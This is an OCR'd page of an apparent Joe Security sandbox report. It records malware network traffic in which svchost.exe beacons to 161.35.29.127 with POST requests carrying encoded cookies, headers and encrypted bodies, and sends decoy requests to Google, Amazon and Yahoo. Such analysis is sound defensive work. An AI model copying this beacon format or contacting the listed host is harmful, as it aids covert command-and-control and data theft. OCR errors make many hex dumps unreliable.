Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 33 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72 742d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:23 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Page 120 of 149



kBytes
Timestamp transferred

2021-09-28 07:54:23 UTC 1056

Session ID Source IP

75 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:24 UTC 1057

2021-09-28 07:54:24 UTC 1058

2021-09-28 07:54:24 UTC 1058

2021-09-28 07:54:24 UTC 1059

Session ID Source IP

76 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50030

Direction

ouT

Source Port
50029

Direction

Data

Data Raw: 3c 68 74 6d 6¢ 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 617220 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 39 47
75 77 48 64 6f 63 6d 33 66 73 70 4f 51 6d 25 32 66 74 32 75 61 62 78 66 6¢ 69 30 66 30 74 64 30 31 32 65 69 72 34 6a 77
69 39 36 6e 47 67 25 32 66 4b 37 68 77 6d 65 77 66 35 6¢ 38 63 66 76 69 79 79 31 76 64 32 69 35 67 79 36 33 63 64 69
3966 66 75 67 47 51 25 32 66 65 77 33 73 42 74 61 50 65 73 74 79 69 6f 71 79 6a 76 71 6b 6¢ 32 66 67 73 65 66 35 79
61 3573 6d 70 37 6d 25 32 66 79 38 73 6f 57 55 39 39 6¢ 33

Data Ascii: <htmI><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2f9GuwHdocm3fspOQm%2ft2uabxfli0f0td012eir4jwi96nGg%2fK7hwmewf5I8cfviyy1vd2i5gy63cdidffug
GQ%2few3sBtaPestyioqyjvakl2fgsefSya5smp7m%2fy8soWU99I3

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /64a3nBgsi0d4zgksf85agYb7tH7n44iNQ1y/10weq4tMOomeux533w8vkeebOb7c2thkixw8z0ig5epR3yV5/b4zf22Yrzi
gsjrulggeeghjtby04G2QbtolfzGe/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1686

Date: Tue, 28 Sep 2021 07:54:24 GMT

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE htmI><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6C 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢C 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6C 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP  Destination Port Process
161.35.29.127 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:54:24 UTC 1060

2021-09-28 07:54:24 UTC 1062

2021-09-28 07:54:26 UTC 1068

Session ID Source IP

7 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:24 UTC 1063

Copyright Joe Security LLC 2021

Direction

ouT

ouT

Source Port
50031

Direction
ouT

Data

POST /feed/news/last HTTP/1.1

Cookie: HSID=0HP2%2BODCuS%2FqG7j613AQUZzmrT%2BI8eKliiDa0LPcwiwuwE%2Bjdg6bQzpHTghEVECc3fgEub
Ev41%2BI5fgYhc%2FbMY5QsEfryPNd53BfvxfEUasquR29zN4ZdhISL3Sa2yW3rrV5gl0kHdD7DkworVWFkkzNQQpk
214Hy1JV%2BQbWmB2vH72RtqE4kak GBKK%2BAqyw8X%2Bg10S36%2FcRHI4XSrcQyqzXxTDFIWkémQ2G
g0bloebTXs7KERKIJgCj591QL%2B3ILYNBSILIAS53L2iBVh2aNKXC6j0jKuROBr1XJi64bekWvhV1OwOEUjb2b2E%2
FxfuODirSo0FYOsOCxvhjVfZH9%2FNw%3D%3D;SIDCC=vB6%2B05TPkTnLEfHWHJIsZUeUjdtQjUYh%2FU%2B0Qs4VK
Rcq%2B2UbrPbw%2BkfSEBO5%2FzThGnZ9IMYabSubtnY Tpvb18EJbHFMyZh%2FHJivQjSVJILoAj7cIBoOhae%2FTlo
4hngLDsMnem3kEjb2EW1VQaGcGZKVXLX2KgYOJO8QSGKoC%2BFpsfmDgWMglw0IDTZA3yheDcaWipYsm
XBJCutIM1wk5A0Kq3tSaKU4dxjxcBTwunw%2BAovDy7%2Buer4dHbJFbd9n7IXHFWmMOBELjMu2mKWGm3VnisYbEpHRd
6g5PVvzgIDMiR}s512TOK5NCCIQsSFMmMIULLUjUYLIKXbSgdWLWOg%2FyX3wA%3D%3D;SID=gUliesGYHBelx%2Bbdp
2NCHvWu%2BAQPu0r4XoTS5xS51XXk2aN3TyHRET7YoDaAVF1VGOo02ILr8jWzBovG8RxQEfZNOj1piq2WIbVIrMfR%2
BRO3vbhrzoP2m%2BmwJledYHtBOGeoRELx21Q30IFd41e72EQyFzIKveaqgSBricSyVPxV8VARhrUEK4ON8j6¢cRY v
r5z7DSBDJhgaBXBbRClavtiHzWocJkk1b824J7bUMwIMMO02nBWaxCF71S%2FO0RgAV]ld5Y ablgd9ChLGX1VcbZr2IC
GKe%2B0XJpU7udZ4YQ%2FyWOcLMDFLMu90D6LxfmaJtZX5wqo%2BT1vY%2FV16UEUyuylLVg%3D%3D;SS
ID=1SPTjt9Kn9tNFam%2F6zsk8REh%2BZ6 TUSBMnrcDy%2BCRi2fCvo%2B9KY 1u8xh864PPvG2dfm%2Fd%2F9ptwPB
BfnGWRjZsCk%2F%2FCLJszCHnbo2EZLLImbGQuU5RSmMkVfakCxd%2FH3%2FNUfkIx7Yi6VOW8mMcCVGZ3LFA171qTme4
PYnXF8SgU40yatW6Hxf6%2FaARQEDEFi6qtOpAFjLjdCIOKZPzQC70lww%2FOY6a24Y XlvD205kiOHVIRiSiINLBGVC
zqgPWZpvm%2BxcvPazsfOWDkIIGvo%2FDD500Yt926Jm2XV8DgNDEqB7rHDDjhjOIK8oaR0la2pBapaWxLMAJKcSRY
KMdRY254D2Png%3D%3D;

X-Tag: PL%2Fv50s%2BIZhcZn54pyzV0Y9nnny7zxUO2HyGrGufUm1rHDEJmalwcq%2BH1Kx1jyig2RUuwTEZa%2BY
%2BOOFDZCnDk3xN]%2FIBbGI5d2e7bYgphEHO4RMxONTFiltmZx50Fq0Zky%2BwkUr50LQPNy770N0ztky85u%2Fz\W
QOWDZvB7KdRpry9i%2Bs1m49cczxj6Aiz147aaUP1RIWmIeQnRjQLhk5dGVpRWG3QVJI7J1YznyEZy3f7nwbcgL3DB4
iHDOK7iZ1yM1KbUk6iABi8ZtdZ1XmCMzMjAjvNkJ2sqO%2FkABGYyHSCV|%2FpcHMfMGND%2FSIRVKU2IwYEPATWco
C6a5gQkuFnWUQ%3D%3D

X-Csrf-Token: yU9yBTSZcaJTCJjh61%2BxDpmPzMHFfXZCjK3cfzW8igaaRAg1%2FaHm9SHaF%2BbVBgHrY1ZzbD
03knhheFIMDk69%2BIkW7Ifcn6XhgUwVGf3DGEmMgX542kQBWuBf11p8fR6h6VeZZ8n6%2FZSjswRDb3n9z0YEB3xAQ
0CQ2NWUA0bdXSbgN63CeyQzggSD8301bQpAqUTzsh4jrSYf3WHXDg6GkYDYJIGnBzZy2r84midnHmFU2GorjK3bm1HZ
17a3aGNW88rGdgYgtM5VICsvodBhgaoUeabVZ138DriNJuSbVzmtZg3IItFnDiNY8wFT8him4YRsmav%2FmAfF2mrR
dR%2BeiDMg%3D%3D

X-Request-ID: sQ4qUaTyDgNFbpLNXg4qDKnbNMaQewT6cSBD2fmHGmMOChy1nf338UJoYFAUrzul4kS%2BXgNLxme
0SIpzBbrHRBRzITazc97x0AFNhWKygWi2k2LCrm2tQRgkvQLBdiCyyHRSIDAL7MfdsQTREgGwWY%2BPkoE2uOcuFTIV
6hGRIiJIr8Ds8QP6W1nyPVAOKOJIr91KQYGKVFm5jKRYD5WPbQ2Amdpze9PIzV X52WSrckfw9BSRH7vXPhzxoHgm4yOZ
A2wWwWTDcz%2F4fHfD2RWUmMzT7GmOuedJQ010f7cBBYh6Y KtkwvgiU9Ka4CXu3gljjE3110AM6Efel S2fN7 PmfmKfwSQZ
gA%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: c0 33 7f b4 91 88 a4 b1 20 f9 84 ef f4 94 95 8c 5 4f c2 8f 95 e5 ae f9 f8 78 32 d7 ed 14 1c 91 f1 1f 4c 84 Oc 28
12 cf 71 9a 91 06 4a a9 fa 99 ¢7 4b dd 0f 33 36 3a 55 12 5¢ 39 d4 2d d8 7f 34 7f ba e7 5d 3c 9d 50 af d7 42 01 el e6 75 1f
3f76 3e 63 bb 7a b4 68 ce d8 87 3b 52 Oe 12 f6 1f 69 c8 ad 21 72 f6 9e 8c 79 4b 26 c1 29 31 4d 9e 60 Oa 81 40 a7 e7 3
€3¢0 dd be b1 00 a0 43 9f cf f4 f9 30 c0 fa f0 3b Oe a7 71 20 69 a3 93 f0 80 45 df 8b fe 00 9b 20 cd ee 05 ba e4 21 e6 b4
05 fd f6 95 8e 6f 46 36 4b cd 95 00 97 a8 32 2a 02 fb de 28 58 42 e3 8e a8 f3 32 67 a7 f6 a2 da 50 3e 4d 05 97 30 06 ad
19 a5 1d 30 70 b7 db 8 f1 53 46 b4 cc cb 40 20 f5 f2 92 85 ¢5 78 1c 2 89 ac 8f db 91 50 7d 57 35 55 84 64 00 d3 47 08 ee
db 23 €9 97 be 65 79 b5 85 43 bf €3 5f 11

Data Ascii: 3 Ox2L(qJK36:U\9-4]<PBu?v>czh;RilryK&)1IM @CO;q iE l0F6K2*(XB2gP>MO00pSF@ xP}W5UdG#eyC_

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close

Date: Tue, 28 Sep 2021 07:54:26 GMT
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Destination IP  Destination Port Process
162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /fJJ3UA0iID56hw4fc7Honei06tvsxn/ccfThedvilys54e8a148Gptn9nheTa9/g573rv6 FEFfCpsfbggoSk8vwhdtOebilz
b/upiTgp9rs63kY8eknUaMtd7nlf5e409vb1p2rQz9ug/np3oikgtofsrm43KrjbhDai54k2e70glotgFg3jaw3a3g9v/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:54:24 UTC 1063

2021-09-28 07:54:24 UTC 1064

Session ID Source IP

78 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:25 UTC 1064

2021-09-28 07:54:25 UTC 1065

2021-09-28 07:54:25 UTC 1065

Session ID Source IP

79 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:25 UTC 1066

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50033

Direction

ouT

Source Port
50034

Direction

ouT

Data

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:24 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: OVH97DKBXYTSRVWRHQRJ

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /1hghaZjobkwhewlec7ku6fwpgk/b2lkEemfcg7j8ldlughFw6zba7F9dtuzg5q1/qzc80587pxqY2m510yqqrxpKfudvic
2cHwualgBR33fao/kg4prkLgnmaworn3ram3a51v1E536te8a7YdPblp/tyvic3phtzjaGo3eadm8b5ji52ky476h91IrT/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:25 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: QBN5K9YFTMD6SYX25R2C

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2¢ 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 €5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d 9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa bl 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3¢ dd ab 5e ee 1a eb
05 8 3¢ dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=K'(.WIin"u=Padn{]1+: Ch[ *kz<{VIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process
162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /c5ClawVDu9Jvihxm51dvteg6c34r1CUsjvh7700cuAYti/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:54:25 UTC 1066

2021-09-28 07:54:25 UTC 1067

Session ID Source IP

8 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:42 UTC 889

2021-09-28 07:53:42 UTC 892

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49884

Direction

ouT

ouT

Data

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:25 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: KBZ7TKRQC44WJ43VP8BK5

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data

POST /feed/news/last HTTP/1.1

Cookie: HSID=hiAz8g6LbldSvv4sBO2KtcALiVs4MartZJgO7N8EmhY6u0QD4tosFEPzutTBFWI1PegFNXWDpy%2F
Z0sabxqDNtKIXTOWDwWC%2FhIGAsMy6fyzal9qflkiig%2FaXbbiMVbeqWxVzxvBzbt6 QMDD45W8NP6ApXe%2BLI2i0
R200%2BU5WdeixqWAaUfn6NSTrYRNNZ5LI5jbhMxwiXenAPTT%2BNsTm4soYGMs2DuCe30SY ShpEUuwtH24kSyOxMz
tE3W3mKCILhWTJ9%2Bi40%2FkAaDpotwTLERBog8WnvBWAY Y19JljdwT8KLitp9tKnMO6LfKepW%2B5cZozLB6As41
sOlgXjaucmdbA%3D%3D;SIDCC=ZN9q7izawIPVjlvsBJg13MckR%2B77eU9f%2BGdqThwezJOVVCcIWQPzBquZLY7j
zOn1%2BYMkru7PAJSBP3qE505VU2sVmUEfHzPQJIXNTpvsBzFOhF734dmwO04jkFSTySjyZ6]BC%2FRVF6P%2FY6%2
BoFvsl8uaHHXXQFEB%2F9StiXd8Z%2FV6dVIxD99u1lJHC|CtSY ksS%2BRMJI%2BgUTU03qfoh6gAv98c7Mul9iJYDHH
VLP0%2B2dSqvilmKU8eUcnaoml1B6URNTqJZR34lezjbnK4WuwLSHTRrGg43SIX20mQAOWTXZIERbIiIXx6STilCg7j
%2BgMZO0R%2B1y04YibZQVPJ2UDGtzxntQ%3D%3D;SID=evzizRGcdhxAPN1fEMk5c4jzmxz4q3GfFnlksswIFAwff
cyJU%2FLB6fvsHs37sytOlqfZtag7Lpzx0yX8zw0arQIhSNA4Q903MDW3tgAjhoZy01X7cEUSOIqi6BPgiZjb ThFHr
dfwWzQcq%2BYfvx5bJjKQFOnaFd5mn4CE%2BD72w%2Fs6lFxGFjfuTSOB1wVINVEtZDE%2BFK8eB9agw6v7Z9jyux4
XWojqVnnmmzJWcrZVOIPylxgdBlyl4AXgbop%2BVscKD4SLSriWVK2VIG2sY MEfVkDB4%2Beesx%2BzcjCXg2X2Qi4
9KymHjaG4JjGKy8VojPhQIEDNMK1zq4LO%2Fuzn%2BBIbsg%3D%3D;SSID=sfU1T%2BGGLeUGPcGsnPwphxItSfNRe
aNLg37F17s3X1yLIAVH4nezcLgrhu2D2evSCLYfFOpXGSbbZ6%2BwdrFLocPoYUNG0LqLA5fgAZE%2BtE8Y ftbw2qw
0OSc4uX1BGzEO05BjryX5wimQiVyYa2WVSbtHOm%2Bn10dkdezgicJ3levDaDgndILU6Z4%2B0o4FSYjv3T34Uhcwtksk
fakVbK77wTru2DVt4B40%2FU3cFaevD5kH2dh%2FBmhcSuigkS3b36cL0%2FLIRHIQ3cuv%2FrqlsjgfDuCyYc5vWhz
vLVNnoJGag5fyzrVzrNnxlvZE3nga4bD7labz8VVmiLW%2BF7wZfWFolExc3tgg%3D%3D;

X-Tag: 3ZUkYkrGJIgKXYjTMaF0kjnr2ogho%2BrWabjhxtcnnv5JA%2FXVI10WEU3xy307 bpvvtB2T4JE9%2Ft3h0qg
0Of%2BMFAI3%2FVNCCZdy4jM9Tal708muViss5s1mPvWZeMjmRv5CKzflVRNUtJIGsgFbAOChp6qPfICszBcuUlgKgYh
fZqTQs5YFrOFUGONSFAQM54fkJuZ2%2Bt06txRNjucznQGIKm2wMVxXEESaNE%2BiWk6AdNNc3SQily%2FSfW%2BgV9
9erzCSEwWtfACWSIrfCaz3%2FUSZu4oxZgWaiyKJeJaMKecKC3mtBT6ZJESOVIGOINIWZythWhjdWBugaBKrUyGIV34
jp99djNgw%3D%3D

X-Csrf-Token: IBwgxQcCmS3iGIHH7MCNXMQ3u2c000QidrttSTQUAWTss5c9GFw6SfawabWFyzx0basD861%2Ba0
7Q8pjQgWFr8BsFpW%2Bw5cwHo3c4Qe T Thy8irfq2ZXIYt4rx8ABvSOhVBXCBmMMcKWeUmPWXije92eswvoGh4JIjBIV
6EIIBjhohu%2FqRA%2FTtGPkzZRG6IMvWAFHau3ENXa8yuUTIqRj7StOf%2Fg1gNZ6zKyDdWTcecmde4ugJEWA7iwLgX
usHP%2ByqdqS8kqVVL%2FIwcksQ1I1RADz57VeM4AJ23U5aNqRI8jf2Xr3wKv7WpNI0I5rOU6GrCB%2FMppMx1VIFa
mQQtwO0%2FIW9Q%3D%3D

X-Request-I1D: 11%2BDcYXW5sExWkVLIXD%2Bylpvg3AEJa4QeiVzs4dtG39E|%2FvLI9ucADWr4FRZ68UP%2BSgsZ
urQljdeY2km69950S50bfNcM6ECpPL9I%2FVPThIINU8IHIaEDTBXZUZ6mWwWSXzCKZKodY6ggapowGALtxXZ%2BFSRfD
FDIIT5MdPKNbsZNLAKQWY4UGeLvYd7tU9%2B1rxjpsdp2EjALNUUSK6QctzeUclhfe8fsE YJLs%2Fyf3p0AtgkiThO
CKpngnu%2FBWORNrJs23thsXETKCcLLH8S6i0%2FSDs0YYQsMSrYqvjiRK2McQK1S6IcAH3YtjsUWOvVIQp
%2FTWXcOPOVCTu255gm%2F%2Bsm02%2FiQ%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: 3e 6f 18 1f 17 d1 e8 a2 9d 74 f4 e2 27 66 99 94 9a e8 02 e2 61 dd 05 8b 73 1a 31 ce 35 5 94 {7 7c 5d 6a 78
7d 24 55 2f fe 8d d8 8f b6 29 df 36 55 f1 01 31 85 0 d2 c1 bd 9d 22 2d bf 39 b6 bb 65 37 81 25 ce 56 1e 58 99 79 39 ef 58
40 €6 9e 64 e8 47 18 58 d3 c7 93 e8 1e cf 2 3e fa 35 33 4c 39 f8 5d 49 61 96 56 d8 dc 7f 1f d4 7f ee b4 d9 €0 ee a6 a8 29
